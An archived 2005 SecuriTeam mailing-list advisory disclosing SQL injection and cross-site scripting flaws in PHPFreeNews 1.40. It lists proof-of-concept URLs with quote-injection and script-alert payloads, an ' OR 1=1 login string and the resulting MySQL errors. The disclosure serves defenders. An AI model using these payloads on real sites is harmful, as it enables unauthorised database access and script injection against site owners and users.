Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] PHPFreeNews SQL Injection and XSS |
|---|---|
| Date: | 18 Aug 2005 14:58:30 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - PHPFreeNews SQL Injection and XSS ------------------------------------------------------------------------ SUMMARY <http://www.phpfreenews.co.uk/> PHPFreeNews is "a free PHP Script that allows you to display news headlines and articles on your website". PHPFreeNews has been found to be vulnerable to numerous SQL Injection and Cross Site Scripting vulnerabilities. DETAILS Vulnerable Systems: * PHPFreeNews version 1.40 and prior SQL Injection: Accessing any of the following URLs: http://vulnerable/phpfn/SearchResults.php?Match='&NewsMode=1& SearchNews=Search&CatID=0 http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=1& SearchNews=Search&CatID=' http://vulnerable/phpfn/SearchResults.php?Match=%27&NewsMode=1& SearchNews=Search&CatID=0 http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=1& SearchNews=Search&CatID=%27 Will cause the server to return the following: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in \somepath\www\phpfn\Inc\ListingFunctions.php on line 92 Query failed : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '''' IN BOOLEAN MODE) ORDER BY Sticky DESC, Priority, PostDate In addition, accessing the following URL: http://vulnerable/phpfn/Inc/AccessControl.php and typing as the username and password some SQL injection string like " OR " 1=1 will cause the server to return an error. Cross Site Scripting: Accessing any of the following URLs, will trigger a cross site scripting vulnerability in the page being accessed: http://vulnerable/phpfn/NewsCategoryForm.php?NewsMode="><script>alert('Found By Matrix_Killer');</script>&CatID=0 http://vulnerable/phpfn/SearchResults.php?Match='><script>alert('Matrix_Killer OwnZ The World :)');</script>& NewsMode=1&SearchNews=Search&CatID=0 http://vulnerable/phpfn/SearchResults.php?Match=1& NewsMode=1&SearchNews=Search&CatID='><script>alert('Hell Year');</script> http://vulnerable/phpfn/SearchResults.php?Match=1& NewsMode="><script>alert('0_o Please StoP !');</script>&SearchNews=Search&CatID=0 http://vulnerable/phpfn/SearchResults.php?Match="><script>alert('Matrix_Killer -> The bug Hunter <-');</script>& NewsMode=1&SearchNews=Search&CatID=0 ADDITIONAL INFORMATION The information has been provided by <mailto:matrix_k@abv.bg> matrix_killer. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] PHPTB Code Injection Vulnerabilities, SecuriTeam |
|---|---|
| Next by Date: | [NT] MyProxy Firewall Bypassing, SecuriTeam |
| Previous by Thread: | [UNIX] PHPTB Code Injection Vulnerabilities, SecuriTeam |
| Next by Thread: | [NT] MyProxy Firewall Bypassing, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |